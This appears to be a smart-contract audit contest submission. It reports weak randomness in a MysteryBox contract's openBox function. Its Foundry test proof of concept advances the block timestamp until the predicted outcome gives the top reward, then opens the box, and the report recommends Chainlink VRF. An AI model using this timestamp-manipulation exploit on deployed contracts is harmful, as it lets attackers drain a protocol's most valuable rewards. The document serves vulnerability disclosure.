Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Weak RNG in `MysteryBox::openBox()`

Summary

There is weak random number generation in MysteryBox::openBox() which allows a malicious actor to essentially choose what reward they want

Vulnerability Details

MysteryBox::openBox() is using factors that can be edited by a validator (especially block.timestamp) which allows for malicious actors to bypass the RNG in order to get the reward they want

Impact

Allows attacker to steal from the protocol by getting the most valuable rewards

Proof of Concept

Add this code to bottom of TestMysteryBox.t.sol

function testWeakRNGInOpenBox() public {
string memory rewardName;
uint256 rewardValue;
address attacker = makeAddr("attacker");
hoax(attacker, 0.1 ether);
mysteryBox.buyBox{value: 0.1 ether}();
bool rewardOpened = false;
while (!rewardOpened) {
if (uint256(keccak256(abi.encodePacked(block.timestamp, attacker))) % 100 == 99) {
vm.prank(attacker);
mysteryBox.openBox();
rewardOpened = true;
} else {
vm.warp(block.timestamp + 1);
vm.roll(block.number + 1);
}
}
(rewardName, rewardValue) = mysteryBox.rewardsOwned(attacker, 0);
console.log("Attacker's Reward: ", rewardName);
console.log("Attacker's Reward Value: ", rewardValue);
}

Tools Used

Manual Review

Recommendations

  • Use a trusted source for random number generation such as ChainLink's VRF

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!